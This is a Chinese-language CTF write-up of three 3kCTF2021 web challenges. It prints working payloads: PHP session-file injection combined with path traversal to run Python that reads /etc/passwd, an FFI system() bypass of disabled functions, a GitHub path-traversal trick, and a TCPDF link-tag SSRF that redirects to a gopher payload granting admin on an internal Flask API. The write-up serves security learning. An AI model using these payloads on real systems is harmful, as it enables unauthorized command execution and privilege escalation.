前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >3kCTF2021

3kCTF2021

作者头像
HhhM
发布于 2022-08-10 08:03:08
发布于 2022-08-10 08:03:08
1.4K200
代码可运行
举报
文章被收录于专栏:H&M的专栏H&M的专栏
运行总次数:0
代码可运行

3kCTF2021

2021-05-21 10:05:00
wp - 3kctf

AD

一段时间没打国际赛,最近陆队正在组建一支打国际赛的战队,我也混进去划了一下水,上周末我们也打了第一场国际赛试试水(虽然我在打国赛没怎么看题目),不过初次试水师傅们都很给力,个人认为成绩还算可以(No.9):

可以看到截图中出现的两支国内战队虽然也挺猛的,不过这俩支都是高校队伍,不允许外校加入,因此在这里我也给战队打个广告,路过的师傅可以看看:https://blog.zeddyu.info/advertisement/

感兴趣的师傅可以联系陆队:zeddyu.lu@gmail.com

或者想了解具体的也可以先找我问问情况:756379684@qq.com

Ps.上述排行榜不是3kctf,是omh ctf,wp我写的比较烂就不分享了,具体可以到陆队的知识星球里面看(白嫖党给陆队再打个广告)。

online_compiler

Compile & run your code with the 3k online compiler. Our online compiler supports multiple programming languages like Php, Python,... Link Attachment

一个py写的在线php编译器功能如下:

给了源码先稍作审计:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@app.route('/save',methods = ['POST'])
@cross_origin()
def save():
    c_type=request.form['c_type']
    print('ctype-(>'+c_type)
    if (c_type == 'php'):
        code=request.form['code']
        if (len(code)<100):
            filename=get_random_string(6)+'.php'
            path='/home/app/test/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename

        else:
            return 'failed'
    """elif (c_type == 'python'):
        code=request.args.get('code')
        if (len(code)<30):
            filename=get_random_string(6)+'.py'
            path='/home/app/testpy/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename
        else:
            return 'failed'"""

@app.route('/compile',methods = ['POST'])
@cross_origin()
def compile():
    c_type=request.form['c_type']
    filename=request.form['filename']
    if (c_type == 'php'):
        if (filename[-3:]=='php'):
            if (check_file('/home/app/test/'+filename)):
                path='/home/app/test/'+filename
                cmd='php -c php.ini '+path
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'
    elif (c_type == 'python'):
        if (filename[-2:]=='py'):
            if (check_file('/home/app/test/'+filename)):
                cmd='python3 '+filename
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'

当点击compile按钮时发生的事情如下:

save路由接受c_type以及code两个参数,当c_type为php时将code保存到对应的php文件中,而compile路由同样接受c_type参数,额外的还有一个filename参数,其通过调用Popen来执行对应的解释器去执行对应filename中的代码,而其允许执行php或者python代码,同时filename可以指定为服务器上的任意一个文件。

同时有个点就是它判断文件后缀是采用的数组切片的方式,如:filename[-2:],也就是说不需要真实地存在有py后缀,因此可以选择如hhhmpy这种文件,同时python解释器也能够执行这种文件。

在调用php解释器时指定了一个php.ini的配置文件,而python调用py文件显示没有任何函数的禁用,并且在给出的附件中同样给出了该文件,稍加思考会明白它是给出了disable_function,那么是否是从dis_func中找出函数来bypass,稍加diff发现session可能可以被利用:

同时在ini文件中找到了session存储路径为session.save_path = "/tmp"

本地试一下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count']++;
}
?>

sess_hhhmpy:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
|s:1:"1";count|i:2;

尝试写python:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count'] = "
import os
os.system('cat /etc/passwd')
  ";
}
?>

sess_hhhmpy:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
count|s:42:"
import os
os.system('cat /etc/passwd')
  ";

很显然这种文件无法执行,需要把第一行及最后面的代码注释一下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
session_id("hhhmpy");session_start();$_SESSION["#"]="
import os
os.system('cat /etc/passwd')#";?>

得到:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#|s:40:"
import os
os.system('cat /etc/passwd')#";

Post:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://onlinecompiler.2021.3k.ctf.to:5000/compile
c_type=python&filename=../../../../../../../tmp/sess_hhhmpy

当然了在查看其他人的wp时发现还有如使用FFi来bypass:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php $ffi=FFI::cdef("int system(const char *command);");$ffi->system(\'{}\');?>

Emoji

browse some emojis Challenge Attachment

给出附件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
        $secret = "*REDACTED*";
        $flag   = "3k{*REDACTED*}";

        function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

        $url = @$_GET['url'];
        $key = @$_GET['key'];
        $dir = @$_GET['dir'];
        if($dir){
                $emojiList = fetch_and_parse($dir);
        }elseif ($url AND $key) {
                if($key === hash_hmac('sha256', $url, $secret)){
                        $d = "bash -c \"curl -o /dev/null ".escapeshellarg("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$url)."  \"";
                        exec($d);
                        echo '<script>alert("file download requested");</script>';      
                }else{
                        echo '<script>alert("incorrect download key");</script>';
                }

        }


?>
<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">

    <title>Emoji</title>
  </head>
  <body>
    <h1>Emoji</h1>

    <div class="card-deck">
      <div class="card">

        <div class="card-body">
          <h5 class="card-title"><a href="?dir=eggs">Eggs</a> <a href="?dir=parrot">Parrots</a> <a href="?dir=pepe">Pepe</a></h5>

          <p class="card-text">
            <?php
                if(@$emojiList){
                    foreach ($emojiList[1] as $k => $v) {
                        echo '<a href="?url='.$v.'&key='.hash_hmac('sha256', $v, $secret).'"><img width=100 src="https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/'.$v.'" ></a>';
                    }
                }
            ?>
          </p>

        </div>
      </div>
    </div>

  </body>
</html>

可以看到这一个fetch:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

实际上存在着目录遍历,因此可以在git上创建一个仓库,放置一个存在img标签的html页面,然后使用目录遍历:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?dir=../../../../../../../a756379684/3kctfemoji/main/emoji

此时可以得到对应的key:

可以在webhook上收到请求:

ppaste

描述

We've launched our first bugbounty program, Our triage team is eager to hear about your findings ! Bounty Program Check assets in scope and whether you can leak a flag Note: - You need account at intigriti.com to view the scope - Submit flag here to get CTF points - Submit a report at intigriti gets you reputation points at intigriti Hints

  1. json inconsistencies

在intigriti上注册后能够得到一个scope:

ppaste is an internal tool we use to share pastes, and where we also store a flag, we're most interested if that could be leaked. URL : https://ppaste.2021.3k.ctf.to/ SOURCE : https://github.com/rekter0/ctf/tree/main/2021-3kCTF/web/ppaste/ppaste

给出了源码先审计,首先整体架构分为两个app:

  • python,从ppaste.db中取数据,是一个接口,但其挂载在127.0.0.1的8082端口中
  • php,同样是一个接口程序,但其挂载在80端口中并且映射出外网的端口中

那么入口点毫无疑问是这个php接口程序,首先需要注册账号,但账号的注册需要一个邀请码。

代码审计

首先看到注册处:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    case 'register':
        if(@$data['d']['user'] AND @$data['d']['pass']){
            if(!@$data['d']['invite']) puts(0);
            $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
            if($checkInvite===FALSE) puts(0);
            if(uExists($data['d']['user'])) puts(0);
            $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;

checkinvite会调用到python接口,其调用代码位于common.php中:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function qInternal($endpoint,$payload=null){
    $url = 'http://localhost:8082/'.$endpoint;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
    if($payload!==null){
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return(@$result?$result:'false');
}

用的是curl发包去请求invites路由:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@app.route('/invites', methods=['GET', 'POST'])
def invites():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')):
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(open('/var/www/invites.txt').read().split('\n'))

json_encode小trick

首先是php接口中的绕过,json_encode在处理INF时会返回一个false,如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)

那么这会使得其发送一个空的post请求给内网的api,此时因为接收不到request.data会导致500错误,此时curl得到的结果是NULL,而其判断是使用的:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
return(@$result?$result:'false');

此时得到了一个NULL:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
var_dump(json_decode("NULL",true));
//NULL

ssrf

在随意添加文章后, 文章详细页有个下载pdf,在测试html标签放入标题时,发现可以成功解析到,标题处的逻辑中有一行代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

会去掉空格,尝试了一下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<img/src="http://vps">

貌似不行,是不支持img标签?跟一下下载pdf的逻辑,找到download路由:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

因为是跟html解析有关系,所以优先选择跟入writeHTML:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function writeHTML(...){
  $dom = $this->getHtmlDomArray($html);
}

其中调用了getHtmlDomArray,同样跟入看看:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
protected function getHtmlDomArray($html) {
        $matches = array();
        if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
            foreach ($matches[1] as $key => $link) {
                $type = array();
                if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                    $type = array();
                    preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
                    // get 'all' and 'print' media, other media types are discarded
                    // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                    if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                        $type = array();
                        if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                            // read CSS data file
                            $cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
                            if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                                $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                            }
                        }
                    }
                }
            }
        }
}

TCPdf中解析超链接的一个标签link,它会先匹配页面中所有符合外层正则link的html:

提取出link标签内的内容后再进入下一个正则:

之后就是一个href,因此我们的link标签需要满足如下:

此处的正则是逐层提取出匹配内容,因此会发现无需要空格,而提取出url后会进入到一个filegetcontents函数,这是最引人注意的地方:

跟入:

进入到file_exists:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static function file_exists($filename) {
  if (preg_match('|^https?://|', $filename) == 1) {
    return self::url_exists($filename);
  }
  if (strpos($filename, '://')) {
    return false; // only support http and https wrappers for security reasons
  }
  return @file_exists($filename);
}

此处只允许使用http或https协议,之后就进入到了如下的if:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
  curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}

满足open_basedir==''和没有设置safe_mode即支持重定向,而恰好这两个是php中的默认配置,至此就可以使用gopher协议打内网的flask的,不过目的是getflag,先找一下获取flag的条件。

寻找一下flag,会发现api.php中有如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    case 'admin':
        $tU=whoami();
        if(!@$tU OR @$tU['priv']!==1) puts(0);
        $ret["invites"]=json_decode(qInternal("invites"),true);
        $ret["users"]  =json_decode(qInternal("users"),true);
        $ret["flag"]   =$flag;
        puts(1,$ret);
        break;

这一个priv在注册账号时默认是赋值为0的,全局搜索一下能够找到flask下的users路由:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@app.route('/users', methods=['GET', 'POST'])
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']):
            qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))

这里对priv做了not操作,因此,只需要传入一个存在user键的json串即可,即:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"user":"hhhm123"}

在vps上放置跳转

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
location: gopher://localhost:8082/_POST%20/users%20HTTP/1.1%0D%0AHost%3A%20localhost%0D%0AContent-Length%3A%2018%0D%0AContent-type%3A%20application/json%0D%0A%0D%0A%7B%22user%22%3A%22hhhm123%22%7D%0D%0A

link:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<linktype="text/css"href="https://phptest.a756379684.repl.co">

之后就是访问admin的api即可:

总结

首先是一个php的json解析错误的小trick,然后是从php的TCPDF函数包中寻找到可以进行ssrf的tag,该tag在解析超链接时使用了curl,而在采用了php默认配置的情况下其curl允许链接的重定向,将重定向指向一个gopher协议打内网flask应用的payload。

本文原创于HhhM的博客,转载请标明出处。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021/05/21 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
20 条评论
热度
最新
笔者对网络了解透,所有参数都有详细分析,值得点赞
笔者对网络了解透,所有参数都有详细分析,值得点赞
回复回复2举报
笔者对gobuster有着全面的分析,包括抓包分析,不同使用分析等,包含了几乎所有参数和使用案例,非常值得一看
笔者对gobuster有着全面的分析,包括抓包分析,不同使用分析等,包含了几乎所有参数和使用案例,非常值得一看
回复回复2举报
是目前看过业内最为详细的gobuster技术文章,细致入微外加实践场景分析,不得不感叹作者技术功底
是目前看过业内最为详细的gobuster技术文章,细致入微外加实践场景分析,不得不感叹作者技术功底
回复回复1举报
作者写的这片文章的布局和对技术的分析都很到位,作为安全从业者也从中受益匪浅
作者写的这片文章的布局和对技术的分析都很到位,作为安全从业者也从中受益匪浅
回复回复1举报
文章布局和技术分析都很到位,作为安全从业者也从中受益匪浅
文章布局和技术分析都很到位,作为安全从业者也从中受益匪浅
回复回复1举报
gobuster为渗透测试以及安全领域的重要利器,看完此篇文章后顿时对gobuster用法茅塞顿开,感谢笔者奋笔疾书,给读者带来便利
gobuster为渗透测试以及安全领域的重要利器,看完此篇文章后顿时对gobuster用法茅塞顿开,感谢笔者奋笔疾书,给读者带来便利
回复回复1举报
精彩的文章
精彩的文章
回复回复点赞举报
细致,值得收藏
细致,值得收藏
回复回复点赞举报
很细致,我明天也去试试
很细致,我明天也去试试
回复回复点赞举报
目前看到过的安全领域质量上乘的文章,图文验证和分析,写的面面俱到
目前看到过的安全领域质量上乘的文章,图文验证和分析,写的面面俱到
回复回复点赞举报
加载更多
推荐阅读
编辑精选文章
换一批
HT1136 DNS 枚举工具 gobuster 试用
gobuster 可以枚举网站的 URLs(目录和文件)、枚举 DNS 子域名、枚举目标 web 服务器的虚拟主机、公开的 Amazon S3 存储桶。
信安之路
2021/05/27
2.2K0
HT1136 DNS 枚举工具 gobuster 试用
子域名枚举&收集
子域名枚举是为一个或多个域名查找子域名的过程,它是安全评估和渗透测试前期侦查和信息收集的重要手段。
黑白天安全
2021/08/10
4K0
Linux SSH密码暴力破解技术及攻防实战
对于Linux操作系统来说,一般通过VNC、Teamviewer和SSH等工具来进行远程管理,SSH是 Secure Shell的缩写,由IETF的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。 利用SSH协议可以有效防止远程管理过程中的信息泄露问题。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Iri
FB客服
2018/02/24
9.2K0
Linux SSH密码暴力破解技术及攻防实战
网站扫描与Fuzz测试之敏感信息收集
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
全栈工程师修炼指南
2020/10/23
3.7K0
网站扫描与Fuzz测试之敏感信息收集
gobuster源码阅读--终篇
在搞完 gobuster 系列源码阅读的第一篇以及dir篇之后,对于 gobuster 的实现思路已经比较熟悉。本文就对剩下的模块进行一个讲解,由于一些公共模块在前面的两篇文章中已经提过,所以本文主要专注于每个模块所独有的部分。
madneal
2022/06/07
3600
gobuster源码阅读--终篇
Sudomy:子域名枚举与分析工具
Sudomy是一个使用bash脚本创建的子域枚举工具,用于快速全面地分析域和收集子域。
FB客服
2019/10/10
1.7K0
Sudomy:子域名枚举与分析工具
从代码角度看各类子域名收集工具
开源的域名收集工具有很多,本文会从代码的角度去看各类开源的域名收集工具的技术特点,以及各有哪些优缺点,来帮助大家,在合适的时候选择合适的利用工具。
Seebug漏洞平台
2020/08/18
2.6K0
从代码角度看各类子域名收集工具
DOME:又一款功能强大的子域名枚举工具
DOME是一款功能强大的子域名枚举工具,该工具是一个快速可靠的Python脚本,可以实现主动或被动扫描,以搜索目标子域名以及开放的端口信息。该工具主要针对漏洞奖励Hunter以及渗透测试人员设计,可以在网络侦查和数据收集阶段使用。
FB客服
2022/04/12
8980
DOME:又一款功能强大的子域名枚举工具
WEB安全基础 - - -弱口令和暴力破解
弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令,例如“123”、“abc”等,因为这样的口令很容易被别人破解,从而使用户的计算机面临风险,因此不推荐用户使用
干掉芹菜
2022/11/19
1.5K0
WEB安全基础 - - -弱口令和暴力破解
Urlbuster:一款支持爆破的可变异Web目录模糊测试工具
Urlbuster是一款功能强大的Web目录模糊测试工具,该工具可以帮助广大研究人员定位目标应用程序中现有和隐藏的文件以及目录。该工具的功能类似于dirb和gobuster,但Urlbuster还提供了大量变异选项。
FB客服
2020/11/06
1K0
Urlbuster:一款支持爆破的可变异Web目录模糊测试工具
渗透测试 | 子域名查询、DNS记录查询
https://blog.csdn.net/qq_36119192/article/details/82752515
谢公子
2022/01/13
5.3K0
渗透测试 | 子域名查询、DNS记录查询
实战 | 记一次赏金2000美元的子域名接管漏洞挖掘
今天,我将分享我如何发现 Fastly 子域接管漏洞并获得2000美金的漏洞赏金。
HACK学习
2023/01/03
1.2K0
实战 | 记一次赏金2000美元的子域名接管漏洞挖掘
Wfuzz的使用
再fuzzing领域,最流行的是再二进制漏洞挖掘,后面也出来webfuzz,就是今天的wfuzz,其实有些在web领域算是暴力破解,但是说fuzz也没毛病。
用户1423082
2024/12/31
1220
记一次用WPScan辅助渗透WordPress站点
WPScan 是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。我们还使用了 Nikto ,它是一款非常棒的 Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。 Wordpress 作为三大建站模板之一,在全世界范围内有大量的用户,这也导致白帽子都会去跟踪 WordPress 的安全漏洞,Wordpress 自诞生起也出现了很多漏洞。 Wordpress 还可以使用插件、主题。于是 Wordpress 本身很难挖掘什么安全问题的时候,安全研究者开始研究其插件、主题的漏洞。通过插件、主题的漏洞去渗透Wordpress 站点,于是 WPScan应运而生,收集 Wordpress 的各种漏洞,形成一个 Wordpress 专用扫描器。该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的 Wordpress 站点暴力破解用户名密码。
Angel_Kitty
2018/10/10
3.2K0
记一次用WPScan辅助渗透WordPress站点
红队作业 | 收集xxx.com域名的所有子域名
文章来源|MS08067 红队培训班 第5期 本文作者:AlexD(红队培训班5期学员) 按老师要求尝试完成布置的作业如下: 被动信息收集 0x01 利用DNS数据集收集子域 有很多第三方服务聚
Ms08067安全实验室
2022/02/10
5.9K0
红队作业 | 收集xxx.com域名的所有子域名
从工具OneForAll代码角度学习子域名挖掘
self.data = wildcard.deal_wildcard(self.data)
黑白天安全
2022/02/23
2.5K0
从工具OneForAll代码角度学习子域名挖掘
ffuf:Go语言编写的高速Web Fuzzer
ffuf是一款Go语言编写的高速Web Fuzzer工具,该项目深受大型项目gobuster和wfuzz的启发。
FB客服
2019/05/23
1.6K0
web目录扫描工具汇总
Gobuster 是一个开源工具,主要用于网站目录扫描和子域名收集。安装也很简单,只需执行下面命令即可!
逍遥子大表哥
2022/09/21
8.6K0
干货 | 赏金猎人的fuzz工具和字典总结
在当今人们时间和耐心水平较低的时代,手动提供输入以查找目标中的错误/漏洞的想法可能会让人不知所措。
HACK学习
2023/01/03
3.9K0
干货 | 赏金猎人的fuzz工具和字典总结
如何在漏洞奖励任务中使用Nodesub高效寻找子域名
Nodesub是一款功能强大的子域名扫描与发现工具,该工具是一个命令行接口工具,可以帮助广大研究人员在漏洞奖励任务或渗透测试任务过程中完成子域名扫描方面的工作。当前版本的支持各种子域名枚举技术,并且提供了大量灵活的参数选项实现定制化任务执行。
FB客服
2023/12/06
2090
如何在漏洞奖励任务中使用Nodesub高效寻找子域名
推荐阅读
相关推荐
HT1136 DNS 枚举工具 gobuster 试用
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档